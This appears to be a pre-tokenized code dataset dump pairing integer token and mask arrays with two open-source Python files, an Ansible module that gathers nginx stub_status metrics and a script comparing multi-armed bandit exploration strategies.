32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Rajeshkumar90/ansible-modules-extras
web_infrastructure/nginx_status_facts.py
38
5348
#!/usr/bin/python # -*- coding: utf-8 -*- # # (c) 2016, René Moser <mail@renemoser.net> # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. ANSIBLE_METADATA = {'status': ['preview'], 'supported_by': 'community', 'version': '1.0'} DOCUMENTATION = ''' --- module: nginx_status_facts short_description: Retrieve nginx status facts. description: - Gathers facts from nginx from an URL having C(stub_status) enabled. version_added: "2.3" author: "René Moser (@resmo)" options: url: description: - URL of the nginx status. required: true timeout: description: - HTTP connection timeout in seconds. required: false default: 10 notes: - See http://nginx.org/en/docs/http/ngx_http_stub_status_module.html for more information. ''' EXAMPLES = ''' # Gather status facts from nginx on localhost - name: get current http stats nginx_status_facts: url: http://localhost/nginx_status # Gather status facts from nginx on localhost with a custom timeout of 20 seconds - name: get current http stats nginx_status_facts: url: http://localhost/nginx_status timeout: 20 ''' RETURN = ''' --- nginx_status_facts.active_connections: description: Active connections. returned: success type: int sample: 2340 nginx_status_facts.accepts: description: The total number of accepted client connections. returned: success type: int sample: 81769947 nginx_status_facts.handled: description: The total number of handled connections. Generally, the parameter value is the same as accepts unless some resource limits have been reached. returned: success type: int sample: 81769947 nginx_status_facts.requests: description: The total number of client requests. returned: success type: int sample: 144332345 nginx_status_facts.reading: description: The current number of connections where nginx is reading the request header. returned: success type: int sample: 0 nginx_status_facts.writing: description: The current number of connections where nginx is writing the response back to the client. returned: success type: int sample: 241 nginx_status_facts.waiting: description: The current number of idle client connections waiting for a request. returned: success type: int sample: 2092 nginx_status_facts.data: description: HTTP response as is. returned: success type: string sample: "Active connections: 2340 \nserver accepts handled requests\n 81769947 81769947 144332345 \nReading: 0 Writing: 241 Waiting: 2092 \n" ''' import re from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.urls import fetch_url class NginxStatusFacts(object): def __init__(self): self.url = module.params.get('url') self.timeout = module.params.get('timeout') def run(self): result = { 'nginx_status_facts': { 'active_connections': None, 'accepts': None, 'handled': None, 'requests': None, 'reading': None, 'writing': None, 'waiting': None, 'data': None, } } (response, info) = fetch_url(module=module, url=self.url, force=True, timeout=self.timeout) if not response: module.fail_json(msg="No valid or no response from url %s within %s seconds (timeout)" % (self.url, self.timeout)) data = response.read() if not data: return result result['nginx_status_facts']['data'] = data match = re.match(r'Active connections: ([0-9]+) \nserver accepts handled requests\n ([0-9]+) ([0-9]+) ([0-9]+) \nReading: ([0-9]+) Writing: ([0-9]+) Waiting: ([0-9]+)', data, re.S) if match: result['nginx_status_facts']['active_connections'] = int(match.group(1)) result['nginx_status_facts']['accepts'] = int(match.group(2)) result['nginx_status_facts']['handled'] = int(match.group(3)) result['nginx_status_facts']['requests'] = int(match.group(4)) result['nginx_status_facts']['reading'] = int(match.group(5)) result['nginx_status_facts']['writing'] = int(match.group(6)) result['nginx_status_facts']['waiting'] = int(match.group(7)) return result def main(): global module module = AnsibleModule( argument_spec=dict( url=dict(required=True), timeout=dict(type='int', default=10), ), supports_check_mode=True, ) nginx_status_facts = NginxStatusFacts().run() result = dict(changed=False, ansible_facts=nginx_status_facts) module.exit_json(**result) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 334, 67, 9, 7800, 12, 10055, 5741, 3930, 332, 665, 1198, 32, 264, 685, 573, 332, 14, 846, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 8490, 63, 8314, 275, 791, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 297, 490, 283, 1023, 356, 283, 17, 14, 16, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 302, 19101, 63, 1205, 63, 5047, 199, 3612, 63, 1802, 26, 13939, 302, 19101, 2004, 9036, 14, 199, 1802, 26, 523, 446, 19634, 83, 9036, 687, 302, 19101, 687, 376, 2851, 9445, 445, 8, 5811, 63, 1205, 9, 5223, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 19, 2, 199, 2502, 26, 298, 5349, 5741, 3930, 332, 8593, 470, 573, 2924, 199, 1419, 26, 523, 1166, 26, 272, 1369, 26, 489, 446, 2851, 402, 314, 302, 19101, 2004, 14, 272, 1415, 26, 2549, 523, 2653, 26, 272, 1369, 26, 489, 446, 3101, 1950, 2653, 315, 4696, 14, 272, 1415, 26, 3055, 272, 849, 26, 1616, 199, 199, 5983, 26, 523, 446, 1666, 1455, 921, 25826, 14, 1308, 15, 287, 15, 4757, 15, 1014, 15, 2753, 88, 63, 1014, 63, 5811, 63, 1205, 63, 578, 14, 1360, 367, 1655, 2556, 14, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 19634, 2004, 9036, 687, 302, 19101, 641, 11667, 199, 13, 536, 26, 664, 1453, 1455, 5020, 523, 302, 19101, 63, 1205, 63, 5047, 26, 272, 1166, 26, 1455, 921, 5967, 15, 25826, 63, 1205, 199, 199, 3, 19634, 2004, 9036, 687, 302, 19101, 641, 11667, 543, 282, 3537, 2653, 402, 3388, 4696, 199, 13, 536, 26, 664, 1453, 1455, 5020, 523, 302, 19101, 63, 1205, 63, 5047, 26, 272, 1166, 26, 1455, 921, 5967, 15, 25826, 63, 1205, 272, 2653, 26, 3388, 199, 2344, 199, 199, 9677, 275, 1449, 199, 2595, 199, 25826, 63, 1205, 63, 5047, 14, 2682, 63, 7995, 26, 523, 1369, 26, 23241, 6947, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 499, 13424, 199, 25826, 63, 1205, 63, 5047, 14, 27692, 26, 523, 1369, 26, 710, 3141, 1329, 402, 10226, 1890, 6947, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 1695, 10216, 1020, 2417, 199, 25826, 63, 1205, 63, 5047, 14, 11217, 26, 523, 1369, 26, 710, 3141, 1329, 402, 8860, 6947, 14, 1464, 1183, 12, 314, 2725, 574, 365, 314, 2011, 465, 11479, 7444, 2005, 2073, 10976, 1172, 2757, 13075, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 1695, 10216, 1020, 2417, 199, 25826, 63, 1205, 63, 5047, 14, 6615, 26, 523, 1369, 26, 710, 3141, 1329, 402, 1890, 4145, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 21771, 9526, 9908, 199, 25826, 63, 1205, 63, 5047, 14, 19332, 26, 523, 1369, 26, 710, 1453, 1329, 402, 6947, 2382, 302, 19101, 365, 7664, 314, 1056, 1406, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 378, 199, 25826, 63, 1205, 63, 5047, 14, 14827, 26, 523, 1369, 26, 710, 1453, 1329, 402, 6947, 2382, 302, 19101, 365, 3575, 314, 1177, 1771, 370, 314, 1890, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 499, 2953, 199, 25826, 63, 1205, 63, 5047, 14, 14093, 26, 523, 1369, 26, 710, 1453, 1329, 402, 15072, 1890, 6947, 10923, 367, 282, 1056, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 499, 22097, 199, 25826, 63, 1205, 63, 5047, 14, 576, 26, 523, 1369, 26, 3101, 1177, 465, 365, 14, 523, 2138, 26, 3182, 523, 730, 26, 1059, 523, 2690, 26, 298, 7472, 6947, 26, 499, 13424, 971, 78, 1000, 11479, 8860, 4145, 60, 78, 1695, 10216, 1020, 2417, 1695, 10216, 1020, 2417, 21771, 9526, 9908, 971, 78, 20568, 26, 378, 12859, 1337, 26, 499, 2953, 13144, 316, 26, 499, 22097, 971, 78, 2, 199, 2344, 199, 199, 646, 295, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 3603, 492, 5267, 63, 633, 421, 199, 533, 653, 19101, 3694, 25821, 8, 785, 304, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 633, 275, 859, 14, 1162, 14, 362, 360, 633, 358, 267, 291, 14, 2593, 275, 859, 14, 1162, 14, 362, 360, 2593, 358, 339, 347, 1255, 8, 277, 304, 267, 754, 275, 469, 288, 283, 25826, 63, 1205, 63, 5047, 356, 469, 355, 283, 2682, 63, 7995, 356, 488, 12, 355, 283, 27692, 356, 488, 12, 355, 283, 11217, 356, 488, 12, 355, 283, 6615, 356, 488, 12, 355, 283, 19332, 356, 488, 12, 355, 283, 14827, 356, 488, 12, 355, 283, 14093, 356, 488, 12, 355, 283, 576, 356, 488, 12, 288, 789, 267, 789, 267, 334, 1310, 12, 2256, 9, 275, 5267, 63, 633, 8, 578, 29, 578, 12, 1166, 29, 277, 14, 633, 12, 3542, 29, 549, 12, 2653, 29, 277, 14, 2593, 9, 267, 340, 440, 1177, 26, 288, 859, 14, 1633, 63, 1001, 8, 1328, 628, 1944, 1686, 503, 949, 1177, 687, 1166, 450, 83, 4453, 450, 83, 4696, 334, 2593, 2924, 450, 334, 277 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 334, 67, 9, 7800, 12, 10055, 5741, 3930, 332, 665, 1198, 32, 264, 685, 573, 332, 14, 846, 30, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 8490, 63, 8314, 275, 791, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 297, 490, 283, 1023, 356, 283, 17, 14, 16, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 302, 19101, 63, 1205, 63, 5047, 199, 3612, 63, 1802, 26, 13939, 302, 19101, 2004, 9036, 14, 199, 1802, 26, 523, 446, 19634, 83, 9036, 687, 302, 19101, 687, 376, 2851, 9445, 445, 8, 5811, 63, 1205, 9, 5223, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 19, 2, 199, 2502, 26, 298, 5349, 5741, 3930, 332, 8593, 470, 573, 2924, 199, 1419, 26, 523, 1166, 26, 272, 1369, 26, 489, 446, 2851, 402, 314, 302, 19101, 2004, 14, 272, 1415, 26, 2549, 523, 2653, 26, 272, 1369, 26, 489, 446, 3101, 1950, 2653, 315, 4696, 14, 272, 1415, 26, 3055, 272, 849, 26, 1616, 199, 199, 5983, 26, 523, 446, 1666, 1455, 921, 25826, 14, 1308, 15, 287, 15, 4757, 15, 1014, 15, 2753, 88, 63, 1014, 63, 5811, 63, 1205, 63, 578, 14, 1360, 367, 1655, 2556, 14, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 19634, 2004, 9036, 687, 302, 19101, 641, 11667, 199, 13, 536, 26, 664, 1453, 1455, 5020, 523, 302, 19101, 63, 1205, 63, 5047, 26, 272, 1166, 26, 1455, 921, 5967, 15, 25826, 63, 1205, 199, 199, 3, 19634, 2004, 9036, 687, 302, 19101, 641, 11667, 543, 282, 3537, 2653, 402, 3388, 4696, 199, 13, 536, 26, 664, 1453, 1455, 5020, 523, 302, 19101, 63, 1205, 63, 5047, 26, 272, 1166, 26, 1455, 921, 5967, 15, 25826, 63, 1205, 272, 2653, 26, 3388, 199, 2344, 199, 199, 9677, 275, 1449, 199, 2595, 199, 25826, 63, 1205, 63, 5047, 14, 2682, 63, 7995, 26, 523, 1369, 26, 23241, 6947, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 499, 13424, 199, 25826, 63, 1205, 63, 5047, 14, 27692, 26, 523, 1369, 26, 710, 3141, 1329, 402, 10226, 1890, 6947, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 1695, 10216, 1020, 2417, 199, 25826, 63, 1205, 63, 5047, 14, 11217, 26, 523, 1369, 26, 710, 3141, 1329, 402, 8860, 6947, 14, 1464, 1183, 12, 314, 2725, 574, 365, 314, 2011, 465, 11479, 7444, 2005, 2073, 10976, 1172, 2757, 13075, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 1695, 10216, 1020, 2417, 199, 25826, 63, 1205, 63, 5047, 14, 6615, 26, 523, 1369, 26, 710, 3141, 1329, 402, 1890, 4145, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 21771, 9526, 9908, 199, 25826, 63, 1205, 63, 5047, 14, 19332, 26, 523, 1369, 26, 710, 1453, 1329, 402, 6947, 2382, 302, 19101, 365, 7664, 314, 1056, 1406, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 378, 199, 25826, 63, 1205, 63, 5047, 14, 14827, 26, 523, 1369, 26, 710, 1453, 1329, 402, 6947, 2382, 302, 19101, 365, 3575, 314, 1177, 1771, 370, 314, 1890, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 499, 2953, 199, 25826, 63, 1205, 63, 5047, 14, 14093, 26, 523, 1369, 26, 710, 1453, 1329, 402, 15072, 1890, 6947, 10923, 367, 282, 1056, 14, 523, 2138, 26, 3182, 523, 730, 26, 1109, 523, 2690, 26, 499, 22097, 199, 25826, 63, 1205, 63, 5047, 14, 576, 26, 523, 1369, 26, 3101, 1177, 465, 365, 14, 523, 2138, 26, 3182, 523, 730, 26, 1059, 523, 2690, 26, 298, 7472, 6947, 26, 499, 13424, 971, 78, 1000, 11479, 8860, 4145, 60, 78, 1695, 10216, 1020, 2417, 1695, 10216, 1020, 2417, 21771, 9526, 9908, 971, 78, 20568, 26, 378, 12859, 1337, 26, 499, 2953, 13144, 316, 26, 499, 22097, 971, 78, 2, 199, 2344, 199, 199, 646, 295, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 3603, 492, 5267, 63, 633, 421, 199, 533, 653, 19101, 3694, 25821, 8, 785, 304, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 633, 275, 859, 14, 1162, 14, 362, 360, 633, 358, 267, 291, 14, 2593, 275, 859, 14, 1162, 14, 362, 360, 2593, 358, 339, 347, 1255, 8, 277, 304, 267, 754, 275, 469, 288, 283, 25826, 63, 1205, 63, 5047, 356, 469, 355, 283, 2682, 63, 7995, 356, 488, 12, 355, 283, 27692, 356, 488, 12, 355, 283, 11217, 356, 488, 12, 355, 283, 6615, 356, 488, 12, 355, 283, 19332, 356, 488, 12, 355, 283, 14827, 356, 488, 12, 355, 283, 14093, 356, 488, 12, 355, 283, 576, 356, 488, 12, 288, 789, 267, 789, 267, 334, 1310, 12, 2256, 9, 275, 5267, 63, 633, 8, 578, 29, 578, 12, 1166, 29, 277, 14, 633, 12, 3542, 29, 549, 12, 2653, 29, 277, 14, 2593, 9, 267, 340, 440, 1177, 26, 288, 859, 14, 1633, 63, 1001, 8, 1328, 628, 1944, 1686, 503, 949, 1177, 687, 1166, 450, 83, 4453, 450, 83, 4696, 334, 2593, 2924, 450, 334, 277, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
balazssimon/ml-playground
udemy/lazyprogrammer/reinforcement-learning-python/comparing_explore_exploit_methods.py
1
2913
import numpy as np import matplotlib.pyplot as plt from comparing_epsilons import Bandit from optimistic_initial_values import run_experiment as run_experiment_oiv from ucb1 import run_experiment as run_experiment_ucb class BayesianBandit: def __init__(self, true_mean): self.true_mean = true_mean # parameters for mu - prior is N(0,1) self.predicted_mean = 0 self.lambda_ = 1 self.sum_x = 0 # for convenience self.tau = 1 def pull(self): return np.random.randn() + self.true_mean def sample(self): return np.random.randn() / np.sqrt(self.lambda_) + self.predicted_mean def update(self, x): self.lambda_ += self.tau self.sum_x += x self.predicted_mean = self.tau*self.sum_x / self.lambda_ def run_experiment_decaying_epsilon(m1, m2, m3, N): bandits = [Bandit(m1), Bandit(m2), Bandit(m3)] data = np.empty(N) for i in range(N): # epsilon greedy p = np.random.random() if p < 1.0/(i+1): j = np.random.choice(3) else: j = np.argmax([b.mean for b in bandits]) x = bandits[j].pull() bandits[j].update(x) # for the plot data[i] = x cumulative_average = np.cumsum(data) / (np.arange(N) + 1) # plot moving average ctr plt.plot(cumulative_average) plt.plot(np.ones(N)*m1) plt.plot(np.ones(N)*m2) plt.plot(np.ones(N)*m3) plt.xscale('log') plt.show() for b in bandits: print(b.mean) return cumulative_average def run_experiment(m1, m2, m3, N): bandits = [BayesianBandit(m1), BayesianBandit(m2), BayesianBandit(m3)] data = np.empty(N) for i in range(N): # optimistic initial values j = np.argmax([b.sample() for b in bandits]) x = bandits[j].pull() bandits[j].update(x) # for the plot data[i] = x cumulative_average = np.cumsum(data) / (np.arange(N) + 1) # plot moving average ctr plt.plot(cumulative_average) plt.plot(np.ones(N)*m1) plt.plot(np.ones(N)*m2) plt.plot(np.ones(N)*m3) plt.xscale('log') plt.show() return cumulative_average if __name__ == '__main__': m1 = 1.0 m2 = 2.0 m3 = 3.0 eps = run_experiment_decaying_epsilon(m1, m2, m3, 100000) oiv = run_experiment_oiv(m1, m2, m3, 100000) ucb = run_experiment_ucb(m1, m2, m3, 100000) bayes = run_experiment(m1, m2, m3, 100000) # log scale plot plt.plot(eps, label='decaying-epsilon-greedy') plt.plot(oiv, label='optimistic') plt.plot(ucb, label='ucb1') plt.plot(bayes, label='bayesian') plt.legend() plt.xscale('log') plt.show() # linear plot plt.plot(eps, label='decaying-epsilon-greedy') plt.plot(oiv, label='optimistic') plt.plot(ucb, label='ucb1') plt.plot(bayes, label='bayesian') plt.legend() plt.show()
apache-2.0
[ 646, 2680, 465, 980, 199, 646, 8027, 14, 13563, 465, 4488, 199, 504, 20234, 63, 1545, 20329, 4654, 492, 699, 290, 1741, 199, 504, 5323, 6937, 63, 2747, 63, 1459, 492, 1255, 63, 10873, 465, 1255, 63, 10873, 63, 79, 1003, 199, 504, 399, 2894, 17, 492, 1255, 63, 10873, 465, 1255, 63, 10873, 63, 9573, 421, 199, 533, 29434, 69, 6214, 28018, 1741, 26, 272, 347, 636, 826, 721, 277, 12, 2549, 63, 3670, 304, 267, 291, 14, 2052, 63, 3670, 275, 2549, 63, 3670, 267, 327, 2633, 367, 8504, 446, 6791, 365, 653, 8, 16, 12, 17, 9, 267, 291, 14, 21118, 63, 3670, 275, 378, 267, 291, 14, 2734, 63, 275, 413, 267, 291, 14, 1838, 63, 88, 275, 378, 327, 367, 16777, 267, 291, 14, 16656, 275, 413, 339, 347, 10299, 8, 277, 304, 267, 372, 980, 14, 2355, 14, 10843, 342, 435, 291, 14, 2052, 63, 3670, 339, 347, 2690, 8, 277, 304, 267, 372, 980, 14, 2355, 14, 10843, 342, 1182, 980, 14, 5079, 8, 277, 14, 2734, 4602, 435, 291, 14, 21118, 63, 3670, 339, 347, 1678, 8, 277, 12, 671, 304, 267, 291, 14, 2734, 63, 847, 291, 14, 16656, 267, 291, 14, 1838, 63, 88, 847, 671, 267, 291, 14, 21118, 63, 3670, 275, 291, 14, 16656, 10, 277, 14, 1838, 63, 88, 1182, 291, 14, 2734, 63, 421, 199, 318, 1255, 63, 10873, 63, 16889, 316, 63, 15761, 8, 77, 17, 12, 333, 18, 12, 333, 19, 12, 653, 304, 272, 30354, 15256, 275, 359, 28018, 1741, 8, 77, 17, 395, 699, 290, 1741, 8, 77, 18, 395, 699, 290, 1741, 8, 77, 19, 1874, 339, 666, 275, 980, 14, 1667, 8, 46, 9, 339, 367, 284, 315, 1425, 8, 46, 304, 267, 327, 14030, 486, 24737, 267, 299, 275, 980, 14, 2355, 14, 2355, 342, 267, 340, 299, 665, 413, 14, 16, 7985, 73, 11, 17, 304, 288, 1335, 275, 980, 14, 2355, 14, 5095, 8, 19, 9, 267, 587, 26, 288, 1335, 275, 980, 14, 16383, 779, 66, 14, 3670, 367, 330, 315, 30354, 15256, 566, 267, 671, 275, 30354, 15256, 59, 74, 1055, 9302, 342, 267, 30354, 15256, 59, 74, 1055, 873, 8, 88, 9, 398, 327, 367, 314, 5137, 267, 666, 59, 73, 61, 275, 671, 272, 25814, 63, 8536, 275, 980, 14, 23916, 8, 576, 9, 1182, 334, 1590, 14, 5605, 8, 46, 9, 435, 413, 9, 339, 327, 5137, 12876, 8095, 286, 454, 272, 4488, 14, 2798, 8, 11898, 16813, 63, 8536, 9, 272, 4488, 14, 2798, 8, 1590, 14, 4548, 8, 46, 3342, 77, 17, 9, 272, 4488, 14, 